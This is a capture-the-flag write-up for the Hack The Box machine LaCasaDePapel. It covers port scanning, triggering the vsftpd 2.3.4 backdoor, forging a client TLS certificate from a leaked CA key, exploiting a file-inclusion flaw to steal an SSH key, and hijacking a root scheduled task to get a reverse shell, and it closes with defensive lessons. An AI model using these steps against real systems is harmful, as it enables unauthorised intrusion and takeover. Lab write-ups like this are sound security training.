Run the nmapAutomator script to enumerate open ports and services running on those ports.
./nmapAutomator.sh 10.10.10.131 All
All: Runs all the scans consecutively.
We get back the following result.
Running all scans on 10.10.10.131Host is likely running Linux---------------------Starting Nmap Quick Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:07 EST
Warning: 10.10.10.131 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.131
Host is up (0.039s latency).
Not shown: 907 closed ports, 89 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
443/tcp open httpsNmap done: 1 IP address (1 host up) scanned in 3.10 seconds---------------------Starting Nmap Basic Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:07 EST
Nmap scan report for 10.10.10.131
Host is up (0.40s latency).PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
| 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp open http Node.js Express framework
|_http-title: La Casa De Papel
443/tcp open ssl/http Node.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after: 2029-01-24T08:35:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
| http/1.1
|_ http/1.0
Service Info: OS: UnixService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.35 secondsOS Detection modified to: Unix----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:07 EST
Warning: 10.10.10.131 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.131
Host is up (0.23s latency).
All 1000 scanned ports on 10.10.10.131 are closed (656) or open|filtered (344)Nmap done: 1 IP address (1 host up) scanned in 703.42 seconds---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:19 EST
Initiating Parallel DNS resolution of 1 host. at 20:19
Completed Parallel DNS resolution of 1 host. at 20:19, 0.03s elapsed
Initiating SYN Stealth Scan at 20:19
Scanning 10.10.10.131 [65535 ports]
Discovered open port 443/tcp on 10.10.10.131
Discovered open port 22/tcp on 10.10.10.131
Discovered open port 80/tcp on 10.10.10.131
Discovered open port 21/tcp on 10.10.10.131
Warning: 10.10.10.131 giving up on port because retransmission cap hit (1).
SYN Stealth Scan Timing: About 19.34% done; ETC: 20:22 (0:02:09 remaining)
SYN Stealth Scan Timing: About 39.16% done; ETC: 20:22 (0:01:35 remaining)
SYN Stealth Scan Timing: About 58.97% done; ETC: 20:22 (0:01:03 remaining)
SYN Stealth Scan Timing: About 78.28% done; ETC: 20:22 (0:00:34 remaining)
Completed SYN Stealth Scan at 20:22, 180.10s elapsed (65535 total ports)
Nmap scan report for 10.10.10.131
Host is up (0.036s latency).
Not shown: 63128 closed ports, 2403 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
443/tcp open httpsRead data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 180.23 seconds
Raw packets sent: 89267 (3.928MB) | Rcvd: 79771 (3.191MB)No new ports---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:22 EST
Nmap scan report for 10.10.10.131
Host is up (0.17s latency).PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
80/tcp open http Node.js (Express middleware)
443/tcp open ssl/http Node.js Express framework
Service Info: OS: UnixService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.49 secondsRunning Vuln scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:23 EST
Nmap scan report for 10.10.10.131
Host is up (0.41s latency).PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown:
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners:
| cpe:/a:openbsd:openssh:7.9:
|_ CVE-2019-16905 4.4 https://vulners.com/cve/CVE-2019-16905
80/tcp open http Node.js (Express middleware)
|.....
443/tcp open ssl/http Node.js Express framework
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|.....
Service Info: OS: UnixService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 196.80 seconds
....
We have four ports open.
Port 21: running vsftpd 2.3.4
Port 22: running OpenSSH 7.9
Port 80: running Node.js over HTTP
Port 443: running Node.js over HTTPS
Before we move on to enumeration, let’s make some mental notes about the scan results.
The vsftpd version running is associated with a backdoor command execution vulnerability. Although I’m pretty sure that the nmap vuln scan does test for this CVE, from past experience it almost always reports it as a false negative. Therefore, I always check for this vulnerability manually.
The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
Port 80 & 443 are running the Node.js Express framework. Port 80 returns a 200 status code whereas port 443 returns a 401 status code. Since they’re returning different codes, we’ll have to enumerate both of them.
The nmap scan leaks the domain name lacasadepapel.htb. We’ll have to add that to our /etc/hosts file.
I terminated the nikto and gobuster scans because they were taking too long to run and weren’t generating any useful results. For this box, the enumeration will be a little bit more manual.
Enumeration
Add the domain name to the /etc/hosts file.
10.10.10.131 lacasadepapel.htb
I always start off with enumerating HTTP.
Port 80 HTTP
Visit the web application.
View the page source. We don’t get anything useful. Next, play around with the E-MAIL and ONE PASSWORD field. There doesn’t seem to be anything unusual there, so let’s move on to the next port.
Port 443 HTTPS
Visit the web application.
We get a certificate error informing us that we need to provide a client certificate before we can view any other content. Interesting. This is the first time I encounter an HTB machine that is using mutual TLS authentication.
If you don’t know what that is, here is a quick run down. Every time you use a web browser to connect to an HTTPS site, you’re using a cryptographic protocol known as Transport Layer Security (TLS) or it’s predecessor SSL. SSL/TLS guarantees that all communication between your web browser and the server you’re connecting to is encrypted, thereby preventing an attacker from reading or modifying the communication. This is done through the use of SSL certificates which are installed on the server. When your browser connects to a server, the server sends its certificate to the browser, the browser checks the validity of the certificate and if all is good, a secure session is established between the two parties.
In the above scenario (which is the default functionality), the server proves its identity to the client (browser). It is possible to add additional security by also enabling client-to-server authentication, where the client also needs to prove its identity to the server. In order to do that, the client has to provide the server with a certificate.
How does this work? Here’s a good article that explains it. The bottom line is if we get hold of the Certificate Authority’s (CA) private key, we can generate a client side certificate and authenticate to the server. We’ll keep that in mind while enumerating the host.
Next, let’s view the page source to see if it leaks any information. We don’t get anything useful. Similarly, the certificate used by the site doesn’t leak any sensitive information.
Let’s move on to the next port.
Port 21 VSFTPD
A quick google search shows us that this version of vsftpd is famously vulnerable to a backdoor command execution that is triggered by entering a string that contains the characters “:)” as the username. When the backdoor is triggered, the target machine opens a shell on port 6200.
This exploit is simple enough to exploit manually.
root@kali:~# ftp 10.10.10.131
Connected to 10.10.10.131.
220 (vsFTPd 2.3.4)
Name (10.10.10.131:root): random:)
331 Please specify the password.
Password:
^C
421 Service not available, remote server has closed connection
This should have triggered the backdoor. Run a quick nmap scan to see if port 6200 opened up.
root@kali:~# nmap -p 6200 10.10.10.131
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-21 19:48 EST
Nmap scan report for lacasadepapel.htb (10.10.10.131)
Host is up (0.073s latency).PORT STATE SERVICE
6200/tcp open lm-xNmap done: 1 IP address (1 host up) scanned in 0.56 seconds
The only user’s that have shells are professor, berlin, dali,postgres, operator and root. We can safely deduce that we’re running as dali since this is the only user that is assigned the /usr/bin/psysh shell.
Let’s see what’s in the home directory using the scandir() function.
scandir('/home')
=> [
".",
"..",
"berlin",
"dali",
"nairobi",
"oslo",
"professor",
]scandir('/home/berlin')
=> [
".",
"..",
".ash_history",
".ssh",
"downloads",
"node_modules",
"server.js",
"user.txt",
]file_get_contents('/home/berlin/user.txt')
PHP Warning: file_get_contents(/home/berlin/user.txt): failed to open stream: Permission denied in phar://eval()'d code on line 1file_get_contents('/home/berlin/.ssh')
PHP Warning: file_get_contents(/home/berlin/.ssh): failed to open stream: Permission denied in phar://eval()'d code on line 1
The user.txt flag is in berlin’s directory. So we need to figure out a way to own that user.
Initial Foothold
Let’s go back to the ca.key we found. A quick google search on “generate client side ssl certificate” gives you this result. We already have a certificate authority, so all we need to do is follow the Generate a client SSL certificate section of the article.
First, let’s download the server side certificate from the browser. Click on the Lock icon > Show Connect Details > More Information > View Certificate > Details > Export.
root@kali:~/Desktop/htb/lacasadepapel/certs# ls
ca.key lacasadepapel_htb.crt
So now we have the certificate authority key (ca.key) and the certificate that the server is using. Let’s confirm that the CA key we have was used to sign the server certificate. This can be done by verifying that the public key of ca.key is the same as the public key of server certificate.
Use the client’s private key to generate a cert request.
openssl req -new -key client.key -out client.req
You’ll be prompted to enter the following information.
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:bl
State or Province Name (full name) [Some-State]:bla
Locality Name (eg, city) []:bla
Organization Name (eg, company) [Internet Widgits Pty Ltd]:bla.com
Organizational Unit Name (eg, section) []:bla
Common Name (e.g. server FQDN or YOUR name) []:bla.co
Email Address []:bla@bla.caPlease enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Issue the client certificate using the cert request and the CA cert/key.
You’ll be prompted for an export password. This is optional when importing into the browser, however, it’s mandatory in Burp to provide a password, therefore, let’s set the password as “password”.
Now we need to import the client certificate into our browser. To do that click on the hamburger icon > Preferences > __search for Certificates >View Certificates > Your Certificates > Import.
In the above Certificate Manager window, click on the Authorities tab and find the La Casa De Papel certificate authority.
Click on Edit Trust and select the option This certificate can identify websites. Then restart the browser and visit the page again. Now you’ll be prompted with a User Identification Request.
Click OK and we’re in!
Click on SEASON-1.
It uses a path parameter. Let’s see if it is vulnerable to LFI.
It definitely is. However, when we try to view the user.txt file, we get an error.
https://lacasadepapel.htb/?path=../user.txt
Let’s go back to the SEASON-1 path. If we click on 01.avi, we get prompted with a file download.
View the source code on the download link.
Notice that the href attribute for 01.avi and 02.avi are very similar with only one character difference. Considering that the names of the files are also only slightly different, this leads me to believe that the file download link is dependant on the file name. It looks like base64 encoding, so let’s try decoding them.
Open Burp and click on User Options > SSL > Client SSL Certificates > Add. In the Destination host field, add lacasadepapel.com and select the File (PKCS#12) option_._ Click Next and import the client cert. Now, we can intercept requests using Burp.
Intercept the 01.avi file download request in Burp and change the base64 value to the one we generated for user.txt.
Forward the request. This prompts a download for the user.txt file! Save the file and grab the user.txt flag.
We also noticed that there is a .ssh directory that contains an ssh key.
In the same way we downloaded user.txt, we download the id_rsa file.
It’s running this script every one minute. View permissions on the file.
lacasadepapel [/tmp]$ ls -la /home/professor/
total 24
drwxr-sr-x 4 professo professo 4096 Mar 6 2019 .
drwxr-xr-x 7 root root 4096 Feb 16 2019 ..
lrwxrwxrwx 1 root professo 9 Nov 6 2018 .ash_history -> /dev/null
drwx------ 2 professo professo 4096 Jan 31 2019 .ssh
-rw-r--r-- 1 root root 88 Jan 29 2019 memcached.ini
-rw-r----- 1 root nobody 434 Jan 29 2019 memcached.js
drwxr-sr-x 9 root professo 4096 Jan 29 2019 node_modules
We don’t have read, write or execute privileges on the memcached.js file. However, notice that we have read access on the memcached.ini file. Let’s view the content of the file.
It seems to be a configuration file that is running the sudo command on the memcached.js file. Chances are it is running as root since only root has read/write access on it.
We can’t write to the file, however, we can overwrite it since we own the directory. First, copy the content of the file into a test file.
cp memcached.ini test.ini
Then edit the test.ini file to send a reverse shell back to our attack machine.
Now set up a listener on the attack machine and wait for the command to execute.
root@kali:~# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.131] 55244
bash: cannot set terminal process group (9460): Not a tty
bash: no job control in this shell
bash-4.4# whoami
whoami
root
We are root! Grab the root.txt flag.
Lessons Learned
To gain an initial foothold on the box we exploited one vulnerability.
FTP backdoor command execution. The FTP version used is famously known for its backdoor vulnerability. This allowed us to gain initial access on the machine. This could have been avoided if the administrator had patched the system and installed the most recent version of vsftpd.
To escalate privileges we exploited three vulnerabilities.
Loose permissions and insecure storage of Certificate Authority (CA) key. Once we had initial access on the machine we were able to download the CA key. This in turn allowed us to create a client side certificate and authenticate to the server. The administrator should have secured the CA key by restricting access to it and encrypting it.
Local File Inclusion (LFI) vulnerability that allowed us to view files on the host. Using this vulnerability, we were able to find and view the SSH private key of the professor user. This could have been easily avoided if the developer properly validated user input.
Security misconfiguration of a scheduled task. The task was being run with root privileges using a file that is in a directory owned by a non-privileged user. Since the non-privileged user owned the directory, we were able to simply overwrite the file with a malicious one that contained a reverse shell.